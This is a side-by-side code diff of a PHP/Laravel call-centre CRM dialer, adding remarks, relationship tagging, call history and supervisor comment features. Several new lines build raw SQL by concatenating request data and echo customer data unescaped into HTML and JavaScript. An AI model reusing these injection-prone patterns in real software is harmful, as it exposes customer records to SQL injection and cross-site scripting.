| 584 | <label class=label-small_new style='width:25%;' title=''>Call Remarks:</label> | ||
| 585 | <textarea id='dialer_fullremarks' name='fullremarks' style='width:70%' maxlength=4000></textarea> | ||
| 564 | </p>"; | 586 | </p>"; |
| 587 | $attemptsval=""; | ||
| 588 | |||
| 589 | for($i=1;$i<=50;$i++) | ||
| 590 | { | ||
| 591 | $attemptsval.="<option value='".$i."'>".$i."</option>"; | ||
| 592 | } | ||
| 593 | |||
| 594 | $data.="<p style='clear:both'> | ||
| 595 | <label class=label-small_new style='width:25%;' title=''>Attempts: </label> | ||
| 596 | <select class='form_hrm_select' id='attempt' name='attempt' style='width:50%'>'".$attemptsval."' | ||
| 597 | </select> | ||
| 598 | </p>"; | ||
| 599 | |||
| 565 | 600 | ||
| 566 | //Supervisor Comments - By Manish on 16/02/17 | 601 | //Supervisor Comments - By Manish on 16/02/17 |
| 567 | /*if($dataarr['clientcode']) | 602 | /*if($dataarr['clientcode']) |
| ... | @@ -656,7 +691,7 @@ $data.="</fieldset></div> | ... | @@ -656,7 +691,7 @@ $data.="</fieldset></div> |
| 656 | <input class='form_new form_new_amend' id='dialer_altphone$i' name='dialer_altphone$i' value='".$dataarr["altphone$i"]."' disabled=disabled placeholder='##########'> | 691 | <input class='form_new form_new_amend' id='dialer_altphone$i' name='dialer_altphone$i' value='".$dataarr["altphone$i"]."' disabled=disabled placeholder='##########'> |
| 657 | 692 | ||
| 658 | <a href=# class='btn btn-default' onclick='dialerDelAlt($i,$this->varid);return false;'><i class='fa fa-minus'></i></a> | 693 | <a href=# class='btn btn-default' onclick='dialerDelAlt($i,$this->varid);return false;'><i class='fa fa-minus'></i></a> |
| 659 | <a href=# class='btn btn-default' onclick='dialerQuickOpen($this->varid,\"".$dataarr["altphone$i"]."\",\"Progressive\",\"\",0);return false;'><i class='fa fa-phone'></i></a> | 694 | <a href=# class='btn btn-default' onclick='dialerQuickOpen($this->varid,\"".$dataarr["altphone$i"]."\",\"Manual\",\"\",0);return false;'><i class='fa fa-phone'></i></a> |
| 660 | </p>"; | 695 | </p>"; |
| 661 | } | 696 | } |
| 662 | else if($nextempty=="")$nextempty=$i; | 697 | else if($nextempty=="")$nextempty=$i; |
| ... | @@ -826,9 +861,115 @@ $data.="</fieldset></div> | ... | @@ -826,9 +861,115 @@ $data.="</fieldset></div> |
| 826 | } | 861 | } |
| 827 | dialerDisoSelect(); | 862 | dialerDisoSelect(); |
| 828 | </script>"; | 863 | </script>"; |
| 864 | // Relationship Tagging | ||
| 865 | if(Auth::user()->username=='B654321') | ||
| 866 | { | ||
| 867 | $relationshipServices = DB::table('relationship_service')->get(); | ||
| 868 | $data.='<hr/><legend class="new-recruit_legend">Relationship Taggiing</legend> | ||
| 869 | <p id=chkboxrelship><input type=checkbox onclick="enableRelationships();return false;" id=relchkboxenable> Click to Tag Relationships</p> | ||
| 870 | <div class="row"> | ||
| 871 | <div class="col-sm-3"> | ||
| 872 | <select class="select2multi" id="relationshipService" name="" style="width:100%;" onchange="changeRelationshipCategory(this.value);return false;"> | ||
| 873 | <option value="">Select Service</option>'; | ||
| 874 | foreach($relationshipServices as $value){ | ||
| 875 | $data.='<option value="'.$value->id.'">'.$value->title.'</option>'; | ||
| 876 | } | ||
| 877 | $data.='</select> | ||
| 878 | </div> | ||
| 879 | <div class="col-sm-3"> | ||
| 880 | <select class="select2multi" id="relationshipCategory" name="" style="width:100%;" onclick="changeRelationshipSubCategory(this.value);return false;"></select> | ||
| 881 | </div> | ||
| 882 | <div class="col-sm-3"> | ||
| 883 | <select class="select2multi" id="relationshipSubCategory" name="" style="width:100%;"></select> | ||
| 884 | </div> | ||
| 885 | <div class="col-sm-3"> | ||
| 886 | <button class="btn btn-success" onclick="addRelationship();return false;">Add</button> | ||
| 887 | </div> | ||
| 888 | </div> | ||
| 889 | <div class="row"> | ||
| 890 | <div class="col-sm-4" style="padding:5px 0;"> | ||
| 891 | <label class="label-small_new" style="width:25%;">Service 1: </label> | ||
| 892 | <input type="text" class="form_new form_new_amend disabled" id="dialerdata_service1-'.$varid.'" name="" style="width:70%" disabled="disabled" /> | ||
| 893 | </div> | ||
| 894 | <div class="col-sm-4" style="padding:5px 0;"> | ||
| 895 | <label class="label-small_new" style="width:25%;">Service 2: </label> | ||
| 896 | <input type="text" class="form_new form_new_amend disabled" id="dialerdata_service2-'.$varid.'" name="" style="width:70%" disabled="disabled"/> | ||
| 897 | </div> | ||
| 898 | <div class="col-sm-4" style="padding:5px 0;"> | ||
| 899 | <label class="label-small_new" style="width:25%;">Service 3: </label> | ||
| 900 | <input type="text" class="form_new form_new_amend disabled" id="dialerdata_service3-'.$varid.'" name="" style="width:70%" disabled="disabled"/> | ||
| 901 | </div> | ||
| 902 | <div class="col-sm-4" style="padding:5px 0;"> | ||
| 903 | <label class="label-small_new" style="width:25%;">Service 4: </label> | ||
| 904 | <input type="text" class="form_new form_new_amend disabled" id="dialerdata_service4-'.$varid.'" name="" style="width:70%" disabled="disabled"/> | ||
| 905 | </div> | ||
| 906 | <div class="col-sm-4" style="padding:5px 0;"> | ||
| 907 | <label class="label-small_new" style="width:25%;">Service 5: </label> | ||
| 908 | <input type="text" class="form_new form_new_amend disabled" id="dialerdata_service5-'.$varid.'" name="" style="width:70%" disabled="disabled"/> | ||
| 909 | </div> | ||
| 910 | <div class="col-sm-4" style="padding:5px 0;"> | ||
| 911 | <label class="label-small_new" style="width:25%;">Service 6: </label> | ||
| 912 | <input type="text" class="form_new form_new_amend disabled" id="dialerdata_service6-'.$varid.'" name="" style="width:70%" disabled="disabled"/> | ||
| 913 | </div> | ||
| 914 | </div><hr style="padding:5px 0;"/> | ||
| 915 | <script> | ||
| 916 | function changeRelationshipCategory(id){ | ||
| 917 | if(id != ""){ | ||
| 918 | doAjax("dialer/relationship?type=category&id="+id,"","relationshipCategory","","","GET"); | ||
| 919 | } | ||
| 920 | } | ||
| 921 | function changeRelationshipSubCategory(id){ | ||
| 922 | if(id != ""){ | ||
| 923 | doAjax("dialer/relationship?type=subCategory&id="+id,"","relationshipSubCategory","","","GET"); | ||
| 924 | } | ||
| 925 | } | ||
| 926 | var service = 1; | ||
| 927 | if(typeof customerDispofields == "undefined")var customerDispofields = {}; | ||
| 829 | 928 | ||
| 929 | function addRelationship(){ | ||
| 930 | var relationshipService = $("#relationshipService option:selected").text(); | ||
| 931 | var relationshipCategory = $("#relationshipCategory option:selected").text(); | ||
| 932 | var relationshipSubCategory = $("#relationshipSubCategory").val(); | ||
| 933 | if(service <= 6) | ||
| 934 | { | ||
| 935 | if(relationshipService!="" && relationshipCategory!="" && relationshipSubCategory!="") | ||
| 936 | { | ||
| 937 | $("#dialerdata_service"+service+"-'.$varid.'").val(relationshipService+" -- "+relationshipCategory+" -- "+relationshipSubCategory); | ||
| 938 | if(typeof customerDispofields['.$varid.'] == "undefined") | ||
| 939 | { | ||
| 940 | customerDispofields['.$varid.']={}; | ||
| 941 | customerDispofields['.$varid.']["dialerdata_service"+service]=""; | ||
| 942 | } | ||
| 943 | customerDispofields['.$varid.']["dialerdata_service"+service] = relationshipService+" -- "+relationshipCategory+" -- "+relationshipSubCategory; | ||
| 944 | service++; | ||
| 830 | 945 | ||
| 831 | 946 | ||
| 947 | $("#relationshipService").select2("data", {id:"", text:""}); | ||
| 948 | $("#relationshipCategory").select2("data", {id:"", text:""}); | ||
| 949 | $("#relationshipSubCategory").select2("data", {id:"", text:""}); | ||
| 950 | }else{ | ||
| 951 | simpleNotification("error","topRight","please select Service Category and SubCategory"); | ||
| 952 | } | ||
| 953 | } | ||
| 954 | } | ||
| 955 | function enableRelationships() | ||
| 956 | { | ||
| 957 | if(kstychCall["ts_Talk"]<1||Math.ceil(((getNowTS()-kstychCall["ts_Talk"])/1000))<10) | ||
| 958 | { | ||
| 959 | $("#relchkboxenable").removeAttr("checked"); return; | ||
| 960 | } | ||
| 961 | $("#chkboxrelship").hide(); | ||
| 962 | $("#dialerdata_service1-'.$varid.'").prop("disabled",false); | ||
| 963 | $("#dialerdata_service2-'.$varid.'").prop("disabled",false); | ||
| 964 | $("#dialerdata_service3-'.$varid.'").prop("disabled",false); | ||
| 965 | $("#dialerdata_service4-'.$varid.'").prop("disabled",false); | ||
| 966 | $("#dialerdata_service5-'.$varid.'").prop("disabled",false); | ||
| 967 | $("#dialerdata_service6-'.$varid.'").prop("disabled",false); | ||
| 968 | } | ||
| 969 | </script>'; | ||
| 970 | } | ||
| 971 | else | ||
| 972 | { | ||
| 832 | if(empty($mastersdata['dialerCustomHTML']))$mastersdata['dialerCustomHTML']=$gthis->HRCoreVars['dialerCustomHTML']; | 973 | if(empty($mastersdata['dialerCustomHTML']))$mastersdata['dialerCustomHTML']=$gthis->HRCoreVars['dialerCustomHTML']; |
| 833 | 974 | ||
| 834 | $userdatahtml=str_replace("__EQ__","=",$mastersdata['dialerCustomHTML']); | 975 | $userdatahtml=str_replace("__EQ__","=",$mastersdata['dialerCustomHTML']); |
| ... | @@ -836,11 +977,20 @@ $data.="</fieldset></div> | ... | @@ -836,11 +977,20 @@ $data.="</fieldset></div> |
| 836 | $userdatahtml=str_replace("{{varid}}",$this->varid,$userdatahtml); | 977 | $userdatahtml=str_replace("{{varid}}",$this->varid,$userdatahtml); |
| 837 | 978 | ||
| 838 | $data.=$userdatahtml; | 979 | $data.=$userdatahtml; |
| 980 | } | ||
| 981 | |||
| 982 | // End Relationship Tagging | ||
| 983 | |||
| 984 | |||
| 985 | |||
| 839 | //Log::info($userdatahtml); | 986 | //Log::info($userdatahtml); |
| 840 | $data.="<hr></div>"; | 987 | $data.="<hr></div>"; |
| 988 | //$data.="</div>"; | ||
| 841 | //Log::info($data); | 989 | //Log::info($data); |
| 842 | return $data; | 990 | return $data; |
| 843 | } | 991 | } |
| 992 | |||
| 993 | |||
| 844 | function createCallsTab() | 994 | function createCallsTab() |
| 845 | { | 995 | { |
| 846 | $data="<fieldset><legend class='new-recruit_legend'>Calls History</legend>"; | 996 | $data="<fieldset><legend class='new-recruit_legend'>Calls History</legend>"; |
| ... | @@ -868,12 +1018,33 @@ $data.="</fieldset></div> | ... | @@ -868,12 +1018,33 @@ $data.="</fieldset></div> |
| 868 | <td class='table_hrm_heading_green'>Satisfaction</td> | 1018 | <td class='table_hrm_heading_green'>Satisfaction</td> |
| 869 | <td class='table_hrm_heading_green'>Final Call Assessment</td> | 1019 | <td class='table_hrm_heading_green'>Final Call Assessment</td> |
| 870 | </tr></thead>"; | 1020 | </tr></thead>"; |
| 871 | //Log::info($this->varid); | 1021 | //Log::info($this->varid); |
| 872 | $k=1; | 1022 | $k=1; |
| 873 | $alist=CRMCallArchive::where('crm_id','=',$this->varid)->where('ts_Close','>','0')->orderBy("created_at","DESC")->get(); | 1023 | $alist=CRMCallArchive::where('crm_id','=',$this->varid)->where('ts_Close','>','0')->orderBy("created_at","DESC")->get(); |
| 1024 | |||
| 1025 | $records = DB::table('records')->where('id','=',$this->varid)->select('bttc','service_vs_product','resolution','satisfaction','final_call_assessment')->get(); | ||
| 1026 | |||
| 1027 | $callarraid=''; | ||
| 1028 | foreach($alist as $aline) | ||
| 1029 | { | ||
| 1030 | |||
| 1031 | $callarraid.=$aline->id.","; | ||
| 1032 | } | ||
| 1033 | |||
| 1034 | $callarraid=substr($callarraid,0,-1); | ||
| 1035 | $callarraid=explode(",", $callarraid); | ||
| 1036 | |||
| 1037 | $alist_remark=DB::table('full_remark')->select('fullremark','call_id')->whereIn('call_id',$callarraid)->get(); | ||
| 1038 | foreach($alist_remark as $aline) | ||
| 1039 | { | ||
| 1040 | $remarkval[$aline->call_id]=$aline->fullremark; | ||
| 1041 | |||
| 1042 | } | ||
| 1043 | |||
| 874 | foreach($alist as $aline) | 1044 | foreach($alist as $aline) |
| 875 | { | 1045 | { |
| 876 | $userdata=""; | 1046 | $userdata=""; |
| 1047 | $fullremarkvalue=''; | ||
| 877 | $userdataarr=json_decode($aline->userdata,true); | 1048 | $userdataarr=json_decode($aline->userdata,true); |
| 878 | if(is_array($userdataarr))foreach($userdataarr as $userdatavar=>$userdataval) | 1049 | if(is_array($userdataarr))foreach($userdataarr as $userdatavar=>$userdataval) |
| 879 | { | 1050 | { |
| ... | @@ -883,7 +1054,13 @@ $data.="</fieldset></div> | ... | @@ -883,7 +1054,13 @@ $data.="</fieldset></div> |
| 883 | 1054 | ||
| 884 | $dispname="";if($aline->user_id>0){$tuser=User::find($aline->user_id);$dispname=$tuser->dispname();} | 1055 | $dispname="";if($aline->user_id>0){$tuser=User::find($aline->user_id);$dispname=$tuser->dispname();} |
| 885 | 1056 | ||
| 886 | $records = DB::table('records')->where('id','=',$aline->crm_id)->select('bttc','service_vs_product','resolution','satisfaction','final_call_assessment')->get(); | 1057 | |
| 1058 | // $records = DB::table('records')->where('id','=',$aline->crm_id)->select('bttc','service_vs_product','resolution','satisfaction','final_call_assessment')->get(); | ||
| 1059 | $fullremarkvalue=$remarkval[$aline->id]; | ||
| 1060 | if($fullremarkvalue=="") | ||
| 1061 | { | ||
| 1062 | $fullremarkvalue=$aline->userremarks; | ||
| 1063 | } | ||
| 887 | 1064 | ||
| 888 | $data.="<tr> | 1065 | $data.="<tr> |
| 889 | <td>$k</td> | 1066 | <td>$k</td> |
| ... | @@ -896,7 +1073,7 @@ $data.="</fieldset></div> | ... | @@ -896,7 +1073,7 @@ $data.="</fieldset></div> |
| 896 | <td class=''>".$aline->userstatus."</td> | 1073 | <td class=''>".$aline->userstatus."</td> |
| 897 | <td class=''>".$aline->usersubstatus."</td> | 1074 | <td class=''>".$aline->usersubstatus."</td> |
| 898 | <td class=''>".date("Y-m-d H:i:s",strtotime($aline->usercallback)-(Auth::user()->timezone*60))."</td> | 1075 | <td class=''>".date("Y-m-d H:i:s",strtotime($aline->usercallback)-(Auth::user()->timezone*60))."</td> |
| 899 | <td class=''>".$aline->userremarks."</td> | 1076 | <td class=''>".$fullremarkvalue."</td> |
| 900 | <td class=''>".$userdata."</td> | 1077 | <td class=''>".$userdata."</td> |
| 901 | <td class=''>".$records[0]->bttc."</td> | 1078 | <td class=''>".$records[0]->bttc."</td> |
| 902 | <td class=''>".$records[0]->service_vs_product."</td> | 1079 | <td class=''>".$records[0]->service_vs_product."</td> |
| ... | @@ -912,8 +1089,7 @@ $data.="</fieldset></div> | ... | @@ -912,8 +1089,7 @@ $data.="</fieldset></div> |
| 912 | $data.="</fieldset>"; | 1089 | $data.="</fieldset>"; |
| 913 | 1090 | ||
| 914 | return $data; | 1091 | return $data; |
| 915 | 1092 | } | |
| 916 | } | ||
| 917 | 1093 | ||
| 918 | //For Creating Questionaire contain | 1094 | //For Creating Questionaire contain |
| 919 | function createQaireTab() | 1095 | function createQaireTab() |
| ... | @@ -928,8 +1104,30 @@ function createQaireTab() | ... | @@ -928,8 +1104,30 @@ function createQaireTab() |
| 928 | //$where = 'id = 1'; | 1104 | //$where = 'id = 1'; |
| 929 | 1105 | ||
| 930 | $auth_questions=DB::table('authentication_questions')->inRandomOrder()->limit($auth_ques_count)->get(); | 1106 | $auth_questions=DB::table('authentication_questions')->inRandomOrder()->limit($auth_ques_count)->get(); |
| 1107 | if($dataarr['question']==""){ | ||
| 1108 | $questions = DB::table('question')->where('type','P')->whereIn('question_no',$question)->get(); | ||
| 1109 | } | ||
| 1110 | else{ | ||
| 1111 | $questions = DB::select(DB::raw("SELECT * FROM question WHERE type='P' and question_no IN(".$dataarr['question'].") ORDER BY FIELD(question_no,".$dataarr['question'].")")); | ||
| 1112 | } | ||
| 1113 | |||
| 1114 | $questions_details=array(); | ||
| 1115 | $questionhistory=''; | ||
| 1116 | $question_history=''; | ||
| 1117 | if($dataarr['question'] && $dataarr['clientcode']) | ||
| 1118 | { | ||
| 1119 | $questions_details = DB::select(DB::raw("SELECT distinct question FROM questionaire_details WHERE cust_id=".$dataarr['clientcode']." and question IN(".$dataarr['question'].") ")); | ||
| 1120 | |||
| 1121 | foreach ($questions_details as $questionhistory) { | ||
| 1122 | |||
| 1123 | $question_history.=$questionhistory->question.","; | ||
| 1124 | } | ||
| 1125 | $question_history=substr($question_history,0,-1); | ||
| 1126 | $question_history=explode(",", $question_history); | ||
| 1127 | } | ||
| 931 | 1128 | ||
| 932 | $questions =DB::table('question')->where('type','p')->whereIn('question_no',$question)->get(); | 1129 | $supervisorcomments=''; |
| 1130 | $agent_comments=''; | ||
| 933 | 1131 | ||
| 934 | $data = "<fieldset><div style='font-size:10px'><!-- row-app --> | 1132 | $data = "<fieldset><div style='font-size:10px'><!-- row-app --> |
| 935 | <div class='row row-app'> | 1133 | <div class='row row-app'> |
| ... | @@ -940,38 +1138,51 @@ function createQaireTab() | ... | @@ -940,38 +1138,51 @@ function createQaireTab() |
| 940 | <div class='innerAll' style='background: #fff;'>"; | 1138 | <div class='innerAll' style='background: #fff;'>"; |
| 941 | 1139 | ||
| 942 | //Supervisor Recommendation - By Manish on 20-02-17 | 1140 | //Supervisor Recommendation - By Manish on 20-02-17 |
| 1141 | //Supervisor Recommendation - By Prashant Jadhav on 07-11-17 | ||
| 943 | if($dataarr['clientcode']) | 1142 | if($dataarr['clientcode']) |
| 944 | $supComnt = SupervisonComments::select('supvisor_recommends','id','agent_comments')->where('clientcode','=',$dataarr['clientcode'])->first(); | 1143 | { |
| 1144 | $supComnt = DB::table('DU_CRM_SUPERVISOR_COMMENTS')->where('V_CUSTID','=',$dataarr['clientcode'])->orderBy('V_LAST_REVIEWED_ON','DESC')->limit(3)->get(); | ||
| 1145 | } | ||
| 945 | 1146 | ||
| 946 | $data.="<p style='clear:both'><br> | ||
| 947 | <label class=label-small_new style='width:25%;' title=''>Supervisor Recommendation: </label> | ||
| 948 | <textarea id='dialer_userremarks' name='dialer_userremarks' style='width:40%' maxlength=250 placeholder='Only 250 Characters' readonly>".$supComnt['supvisor_recommends']."</textarea> | ||
| 949 | </p>"; | ||
| 950 | $data.="<p style='clear:both'> | ||
| 951 | <label class=label-small_new style='width:25%;' title=''>Agent Comment: </label>"; | ||
| 952 | 1147 | ||
| 953 | if($supComnt['agent_comments']) | 1148 | foreach($supComnt as $supervisorcomments) |
| 954 | $data.="<textarea id='agent_comment' name='agent_comment' style='width:40%' maxlength=250 placeholder='Only 250 Characters'>".$supComnt['agent_comments']."</textarea>"; | 1149 | { |
| 955 | else | ||
| 956 | $data.="<textarea id='agent_comment' name='agent_comment' style='width:40%' maxlength=250 placeholder='Only 250 Characters'></textarea>"; | ||
| 957 | 1150 | ||
| 958 | $data.="<input type='hidden' id='clientcode' value='".$dataarr['clientcode']."'> | 1151 | $data.="<p style='clear:both'><br> |
| 959 | </p> | 1152 | <label style='width:15%;' title=''>Supervisor Recommendation:</label> |
| 960 | <div class='container'> | 1153 | <textarea id='dialer_userremarks' name='dialer_userremarks' style='width:30%;height:100px;' maxlength=250 placeholder='Only 250 Characters' readonly>".$supervisorcomments->T_BM_INSTRUCTION."</textarea> <label style='width:15%;' title=''>BM Product Recommendation:</label><textarea id='dialer_userremarks' name='dialer_userremarks' style='width:20%;height:100px;' maxlength=250 placeholder='Only 250 Characters' readonly>".$supervisorcomments->T_BM_PRODUCT_RECO."</textarea><br><br> |
| 961 | <input type=button id='submitComments' class='btn btn-info' value='Submit' style=' margin: 5px 0 5px 660px;'> | 1154 | <label style='width:15%;' title=''>Last Review On:</label> |
| 1155 | <label style='width:30%;' title=''>".$supervisorcomments->V_LAST_REVIEWED_ON."</label>"; | ||
| 1156 | $data.=" <label style='width:15%;' title=''>Agent Comment: </label>"; | ||
| 1157 | |||
| 1158 | if($supervisorcomments->agent_comments) | ||
| 1159 | $data.="<textarea id='".$supervisorcomments->id."_agent_comment' name='agent_comment' style='width:20%;height:100px;' maxlength=250 placeholder='Only 250 Characters'>".$supervisorcomments->agent_comments."</textarea>"; | ||
| 1160 | else | ||
| 1161 | $data.="<textarea id='".$supervisorcomments->id."_agent_comment' name='agent_comment' style='width:20%;height:100px;' maxlength=250 placeholder='Only 250 Characters'></textarea>"; | ||
| 1162 | $data.="</p><div class='container'> | ||
| 1163 | <input type=button id='".$supervisorcomments->id."_submitComments' class='btn btn-info' value='Submit' onclick='updateagentcomments(".$supervisorcomments->id.");'style=' margin: 5px 0 5px 660px;'> | ||
| 962 | </div>"; | 1164 | </div>"; |
| 1165 | } | ||
| 963 | 1166 | ||
| 964 | $data.="<legend class='task_legend'>Primary Questions</legend> | 1167 | $data.="<legend class='task_legend'>Primary Questions</legend> |
| 965 | 1168 | ||
| 966 | <div id='primary_ques' class='primary_ques'>"; | 1169 | <div id='primary_ques' class='primary_ques'>"; |
| 967 | foreach($questions as $key=> $primary_question){ | 1170 | foreach($questions as $key=> $primary_question){ |
| 968 | $data.=" | 1171 | |
| 969 | <div class='row' id='subParent".$primary_question->question_no."' data-parent='".$primary_question->question_no."' style='border:solid #D3D3D3 2px;border-radius:5px;margin-top:5px;'> | 1172 | $data.="<div class='row' id='subParent".$primary_question->question_no."' data-parent='".$primary_question->question_no."' style='border:solid #D3D3D3 2px;border-radius:5px;margin-top:5px;'> |
| 970 | <div class='row' id='rowDiv1".$primary_question->question_no."'> | 1173 | <div class='row' id='rowDiv1".$primary_question->question_no."'> |
| 971 | <div class='col-md-4' id='appendChild1".$primary_question->question_no."'> | 1174 | <div class='col-md-4' id='appendChild1".$primary_question->question_no."'> |
| 972 | <div id='childParentDiv".$primary_question->question_no."'>"; | 1175 | <div id='childParentDiv".$primary_question->question_no."'>"; |
| 973 | 1176 | ||
| 974 | if($key%2!=0) | 1177 | |
| 1178 | if($primary_question->compulsory_qes =='imp') | ||
| 1179 | { | ||
| 1180 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#CD6155;cursor:pointer'>"; | ||
| 1181 | } | ||
| 1182 | else if(in_array($primary_question->question_no,$question_history)) | ||
| 1183 | { | ||
| 1184 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#99ffcc;cursor:pointer'>"; | ||
| 1185 | }else if($key%2!=0) | ||
| 975 | { | 1186 | { |
| 976 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#FFFFFF;cursor:pointer'>"; | 1187 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#FFFFFF;cursor:pointer'>"; |
| 977 | } | 1188 | } |
| ... | @@ -979,6 +1190,7 @@ function createQaireTab() | ... | @@ -979,6 +1190,7 @@ function createQaireTab() |
| 979 | { | 1190 | { |
| 980 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#e6e5ef;cursor:pointer'>"; | 1191 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#e6e5ef;cursor:pointer'>"; |
| 981 | } | 1192 | } |
| 1193 | |||
| 982 | $data.="<div class='question' data-ques='".$primary_question->question_no."' style='margin: 5px 0;'><b>Q.".$primary_question->question_no." ".$primary_question->questions."</b> | 1194 | $data.="<div class='question' data-ques='".$primary_question->question_no."' style='margin: 5px 0;'><b>Q.".$primary_question->question_no." ".$primary_question->questions."</b> |
| 983 | <input type='hidden' value='".$primary_question->questions."' id='questText_".$primary_question->question_no."'> | 1195 | <input type='hidden' value='".$primary_question->questions."' id='questText_".$primary_question->question_no."'> |
| 984 | </div> | 1196 | </div> |
| ... | @@ -1484,20 +1696,30 @@ function createQaireTab() | ... | @@ -1484,20 +1696,30 @@ function createQaireTab() |
| 1484 | } | 1696 | } |
| 1485 | 1697 | ||
| 1486 | var postdata='varid='+$('#varid').val(); | 1698 | var postdata='varid='+$('#varid').val(); |
| 1699 | postdata+='&mobile='+'".$dataarr["mobile"]."'; | ||
| 1700 | postdata+='&client='+'".$dataarr["client"]."'; | ||
| 1701 | postdata+='&clientcode='+'".$dataarr["clientcode"]."'; | ||
| 1702 | postdata+='&firstname='+'".$dataarr["firstname"]."'; | ||
| 1487 | postdata+='&questionDateTime='+$('#questionDateTime').val(); | 1703 | postdata+='&questionDateTime='+$('#questionDateTime').val(); |
| 1488 | postdata+='&questionArray='+encodeURIComponent(JSON.stringify(questionArray)); | 1704 | postdata+='&questionArray='+encodeURIComponent(JSON.stringify(questionArray)); |
| 1489 | doAjax('questionare',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); | 1705 | doAjax('questionare',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); |
| 1490 | }); | 1706 | }); |
| 1491 | 1707 | ||
| 1492 | $('#submitComments').click(function() | ||
| 1493 | { | ||
| 1494 | var agent_comment = $('#agent_comment').val(); | ||
| 1495 | var clientcode = $('#clientcode').val(); | ||
| 1496 | 1708 | ||
| 1709 | |||
| 1710 | |||
| 1711 | |||
| 1712 | }); | ||
| 1713 | function updateagentcomments(id){ | ||
| 1714 | |||
| 1715 | |||
| 1716 | var agent_comment = $('#'+id+'_agent_comment').val(); | ||
| 1497 | if(agent_comment) | 1717 | if(agent_comment) |
| 1498 | { | 1718 | { |
| 1499 | var postdata='clientcode='+clientcode; | 1719 | |
| 1720 | var postdata='id='+id; | ||
| 1500 | postdata+='&agent_comment='+agent_comment; | 1721 | postdata+='&agent_comment='+agent_comment; |
| 1722 | postdata+='&mobile='+'".$dataarr["mobile"]."'; | ||
| 1501 | 1723 | ||
| 1502 | doAjax('record?action=savecomment',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); | 1724 | doAjax('record?action=savecomment',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); |
| 1503 | } | 1725 | } |
| ... | @@ -1505,11 +1727,8 @@ function createQaireTab() | ... | @@ -1505,11 +1727,8 @@ function createQaireTab() |
| 1505 | { | 1727 | { |
| 1506 | alert('Please insert agent comment first'); | 1728 | alert('Please insert agent comment first'); |
| 1507 | } | 1729 | } |
| 1508 | }); | ||
| 1509 | |||
| 1510 | |||
| 1511 | 1730 | ||
| 1512 | }); | 1731 | } |
| 1513 | 1732 | ||
| 1514 | </script> | 1733 | </script> |
| 1515 | 1734 | ||
| ... | @@ -1735,6 +1954,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1735,6 +1954,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1735 | 1954 | ||
| 1736 | $resolving_branch_w_code = json_encode($resolving_branch_w_code); | 1955 | $resolving_branch_w_code = json_encode($resolving_branch_w_code); |
| 1737 | $logging_branch_w_code = json_encode($logging_branch_w_code); | 1956 | $logging_branch_w_code = json_encode($logging_branch_w_code); |
| 1957 | $logdate=strtotime(date('Y-m-d H:i:s'))+330*60; | ||
| 1738 | 1958 | ||
| 1739 | $data = " | 1959 | $data = " |
| 1740 | <style> | 1960 | <style> |
| ... | @@ -1755,8 +1975,8 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1755,8 +1975,8 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1755 | <hr/><br> | 1975 | <hr/><br> |
| 1756 | <div style='clear:both;width:100%;'> | 1976 | <div style='clear:both;width:100%;'> |
| 1757 | <div style='width:49%;float:left'> | 1977 | <div style='width:49%;float:left'> |
| 1758 | <label class='label-small_new' style='width:29%;'>Complainant Name</label> | 1978 | <label class='label-small_new' style='width:29%;'>Complainant Name <span style='color:red;'>*</span></label> |
| 1759 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='compName' value='".$dataarr['firstname']."'> | 1979 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='compName' value=''> |
| 1760 | </div> | 1980 | </div> |
| 1761 | 1981 | ||
| 1762 | <div style='width:49%;float:left'> | 1982 | <div style='width:49%;float:left'> |
| ... | @@ -1767,7 +1987,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1767,7 +1987,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1767 | <br><br> | 1987 | <br><br> |
| 1768 | <div style='clear:both;width:100%;'> | 1988 | <div style='clear:both;width:100%;'> |
| 1769 | <div style='width:49%;float:left'> | 1989 | <div style='width:49%;float:left'> |
| 1770 | <label class='label-small_new' style='width:29%;'>Existing Customer</label> | 1990 | <label class='label-small_new' style='width:29%;'>Existing Customer<span style='color:red;'>*</span></label> |
| 1771 | <select id='exitCust' class='form_hrm_select select2multi' style='width:50%' readonly> | 1991 | <select id='exitCust' class='form_hrm_select select2multi' style='width:50%' readonly> |
| 1772 | <option value='Yes'>Yes</option> | 1992 | <option value='Yes'>Yes</option> |
| 1773 | <option value='No'>No</option> | 1993 | <option value='No'>No</option> |
| ... | @@ -1775,19 +1995,19 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1775,19 +1995,19 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1775 | </div> | 1995 | </div> |
| 1776 | <div style='width:49%;float:left'> | 1996 | <div style='width:49%;float:left'> |
| 1777 | <label class='label-small_new' style='width:29%;'>Upload Date</label> | 1997 | <label class='label-small_new' style='width:29%;'>Upload Date</label> |
| 1778 | <label class='label-small_new' style='width:50%;' >".date('Y-m-d')."</label> | 1998 | <label class='label-small_new' style='width:50%;' >".date('d-m-Y h:i:s A',$logdate)."</label> |
| 1779 | </div> | 1999 | </div> |
| 1780 | </div> | 2000 | </div> |
| 1781 | <br><br> | 2001 | <br><br> |
| 1782 | <div style='clear:both;width:100%;'> | 2002 | <div style='clear:both;width:100%;'> |
| 1783 | <div style='width:49%;float:left'> | 2003 | <div style='width:49%;float:left'> |
| 1784 | <label class='label-small_new' style='width:29%;'>Cust ID</label> | 2004 | <label class='label-small_new' style='width:29%;'>Cust ID<span style='color:red;'>*</span></label> |
